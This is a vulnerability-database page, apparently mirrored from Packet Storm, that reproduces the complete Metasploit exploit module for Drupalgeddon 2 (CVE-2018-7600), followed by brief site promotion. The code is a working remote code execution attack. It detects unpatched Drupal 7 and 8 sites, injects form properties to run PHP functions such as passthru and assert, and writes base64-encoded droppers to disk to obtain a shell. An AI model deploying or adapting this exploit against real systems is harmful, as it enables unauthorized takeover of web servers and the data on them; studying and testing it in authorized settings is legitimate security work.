Lucene search
K

Drupal Drupalgeddon 2 Forms API Property Injection

🗓️ 26 Apr 2018 00:00:00Reported by FireFartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 193 Views

Exploits Drupal property injection in Forms API. Vulnerable versions: Drupal 6.x, 7.58, 8.2.x, 8.3.9, 8.4.6, and 8.5.1.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
# XXX: CmdStager can't handle badchars  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',  
'Description' => %q{  
This module exploits a Drupal property injection in the Forms API.  
  
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.  
},  
'Author' => [  
'Jasper Mattsson', # Vulnerability discovery  
'a2u', # Proof of concept (Drupal 8.x)  
'Nixawk', # Proof of concept (Drupal 8.x)  
'FireFart', # Proof of concept (Drupal 7.x)  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2018-7600'],  
['URL', 'https://www.drupal.org/sa-core-2018-002'],  
['URL', 'https://greysec.net/showthread.php?tid=2912'],  
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],  
['URL', 'https://github.com/a2u/CVE-2018-7600'],  
['URL', 'https://github.com/nixawk/labs/issues/19'],  
['URL', 'https://github.com/FireFart/CVE-2018-7600'],  
['AKA', 'SA-CORE-2018-002'],  
['AKA', 'Drupalgeddon 2']  
],  
'DisclosureDate' => 'Mar 28 2018',  
'License' => MSF_LICENSE,  
'Platform' => ['php', 'unix', 'linux'],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Payload' => {'BadChars' => '&>\''},  
# XXX: Using "x" in Gem::Version::new isn't technically appropriate  
'Targets' => [  
#  
# Automatic targets (PHP, cmd/unix, native)  
#  
['Automatic (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_memory  
],  
['Automatic (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_dropper  
],  
['Automatic (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory  
],  
['Automatic (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
],  
#  
# Drupal 7.x targets (PHP, cmd/unix, native)  
#  
['Drupal 7.x (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :php_memory  
],  
['Drupal 7.x (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :php_dropper  
],  
['Drupal 7.x (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Version' => Gem::Version.new('7.x'),  
'Type' => :unix_memory  
],  
['Drupal 7.x (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Version' => Gem::Version.new('7.x'),  
'Type' => :linux_dropper  
],  
#  
# Drupal 8.x targets (PHP, cmd/unix, native)  
#  
['Drupal 8.x (PHP In-Memory)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :php_memory  
],  
['Drupal 8.x (PHP Dropper)',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :php_dropper  
],  
['Drupal 8.x (Unix In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Version' => Gem::Version.new('8.x'),  
'Type' => :unix_memory  
],  
['Drupal 8.x (Linux Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Version' => Gem::Version.new('8.x'),  
'Type' => :linux_dropper  
]  
],  
'DefaultTarget' => 0, # Automatic (PHP In-Memory)  
'DefaultOptions' => {'WfsDelay' => 2}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),  
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),  
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])  
])  
end  
  
def check  
checkcode = CheckCode::Safe  
  
if drupal_version  
print_status("Drupal #{@version} targeted at #{full_uri}")  
checkcode = CheckCode::Detected  
else  
print_error('Could not determine Drupal version to target')  
return CheckCode::Unknown  
end  
  
if drupal_unpatched?  
print_good('Drupal appears unpatched in CHANGELOG.txt')  
checkcode = CheckCode::Appears  
end  
  
token = random_crap  
res = execute_command(token, func: 'printf')  
  
if res && res.body.start_with?(token)  
checkcode = CheckCode::Vulnerable  
end  
  
checkcode  
end  
  
def exploit  
unless check == CheckCode::Vulnerable || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')  
# XXX: Naughty datastore modification  
datastore['DUMP_OUTPUT'] = true  
end  
  
# NOTE: assert() is attempted first, then PHP_FUNC if that fails  
case target['Type']  
when :php_memory  
execute_command(payload.encoded, func: 'assert')  
  
sleep(wfs_delay)  
return if session_created?  
  
# XXX: This will spawn a *very* obvious process  
execute_command("php -r '#{payload.encoded}'")  
when :unix_memory  
execute_command(payload.encoded)  
when :php_dropper, :linux_dropper  
dropper_assert  
  
sleep(wfs_delay)  
return if session_created?  
  
dropper_exec  
end  
end  
  
def dropper_assert  
php_file = Pathname.new(  
"#{datastore['WritableDir']}/#{random_crap}.php"  
).cleanpath  
  
# Return the PHP payload or a PHP binary dropper  
dropper = get_write_exec_payload(  
writable_path: datastore['WritableDir'],  
unlink_self: true # Worth a shot  
)  
  
# Encode away potential badchars with Base64  
dropper = Rex::Text.encode_base64(dropper)  
  
# Stage 1 decodes the PHP and writes it to disk  
stage1 = %Q{  
file_put_contents("#{php_file}", base64_decode("#{dropper}"));  
}  
  
# Stage 2 executes said PHP in-process  
stage2 = %Q{  
include_once("#{php_file}");  
}  
  
# :unlink_self may not work, so let's make sure  
register_file_for_cleanup(php_file)  
  
# Hopefully pop our shell with assert()  
execute_command(stage1.strip, func: 'assert')  
execute_command(stage2.strip, func: 'assert')  
end  
  
def dropper_exec  
php_file = "#{random_crap}.php"  
tmp_file = Pathname.new(  
"#{datastore['WritableDir']}/#{php_file}"  
).cleanpath  
  
# Return the PHP payload or a PHP binary dropper  
dropper = get_write_exec_payload(  
writable_path: datastore['WritableDir'],  
unlink_self: true # Worth a shot  
)  
  
# Encode away potential badchars with Base64  
dropper = Rex::Text.encode_base64(dropper)  
  
# :unlink_self may not work, so let's make sure  
register_file_for_cleanup(php_file)  
  
# Write the payload or dropper to disk (!)  
# NOTE: Analysis indicates > is a badchar for 8.x  
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")  
  
# Attempt in-process execution of our PHP script  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, php_file)  
)  
  
sleep(wfs_delay)  
return if session_created?  
  
# Try to get a shell with PHP CLI  
execute_command("php #{php_file}")  
  
sleep(wfs_delay)  
return if session_created?  
  
register_file_for_cleanup(tmp_file)  
  
# Fall back on our temp file  
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")  
execute_command("php #{tmp_file}")  
end  
  
def execute_command(cmd, opts = {})  
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'  
  
vprint_status("Executing with #{func}(): #{cmd}")  
  
res =  
case @version.to_s  
when '7.x'  
exploit_drupal7(func, cmd)  
when '8.x'  
exploit_drupal8(func, cmd)  
end  
  
if res && res.code != 200  
print_error("Unexpected reply: #{res.inspect}")  
return  
end  
  
if res && datastore['DUMP_OUTPUT']  
print_line(res.body)  
end  
  
res  
end  
  
def drupal_version  
if target['Version']  
@version = target['Version']  
return @version  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => target_uri.path  
)  
  
return unless res && res.code == 200  
  
# Check for an X-Generator header  
@version =  
case res.headers['X-Generator']  
when /Drupal 7/  
Gem::Version.new('7.x')  
when /Drupal 8/  
Gem::Version.new('8.x')  
end  
  
return @version if @version  
  
# Check for a <meta> tag  
generator = res.get_html_document.at(  
'//meta[@name = "Generator"]/@content'  
)  
  
return unless generator  
  
@version =  
case generator.value  
when /Drupal 7/  
Gem::Version.new('7.x')  
when /Drupal 8/  
Gem::Version.new('8.x')  
end  
end  
  
def drupal_unpatched?  
unpatched = true  
  
# Check for patch level in CHANGELOG.txt  
uri =  
case @version.to_s  
when '7.x'  
normalize_uri(target_uri.path, 'CHANGELOG.txt')  
when '8.x'  
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
  
return unless res && res.code == 200  
  
if res.body.include?('SA-CORE-2018-002')  
unpatched = false  
end  
  
unpatched  
end  
  
def exploit_drupal7(func, code)  
vars_get = {  
'q' => 'user/password',  
'name[#post_render][]' => func,  
'name[#markup]' => code,  
'name[#type]' => 'markup'  
}  
  
vars_post = {  
'form_id' => 'user_pass',  
'_triggering_element_name' => 'name'  
}  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
  
return res unless res && res.code == 200  
  
form_build_id = res.get_html_document.at(  
'//input[@name = "form_build_id"]/@value'  
)  
  
return res unless form_build_id  
  
vars_get = {  
'q' => "file/ajax/name/#value/#{form_build_id.value}"  
}  
  
vars_post = {  
'form_build_id' => form_build_id.value  
}  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
end  
  
def exploit_drupal8(func, code)  
# Clean URLs are enabled by default and "can't" be disabled  
uri = normalize_uri(target_uri.path, 'user/register')  
  
vars_get = {  
'element_parents' => 'account/mail/#value',  
'ajax_form' => 1,  
'_wrapper_format' => 'drupal_ajax'  
}  
  
vars_post = {  
'form_id' => 'user_register_form',  
'_drupal_ajax' => 1,  
'mail[#type]' => 'markup',  
'mail[#post_render][]' => func,  
'mail[#markup]' => code  
}  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_get' => vars_get,  
'vars_post' => vars_post  
)  
end  
  
def random_crap  
Rex::Text.rand_text_alphanumeric(8..42)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation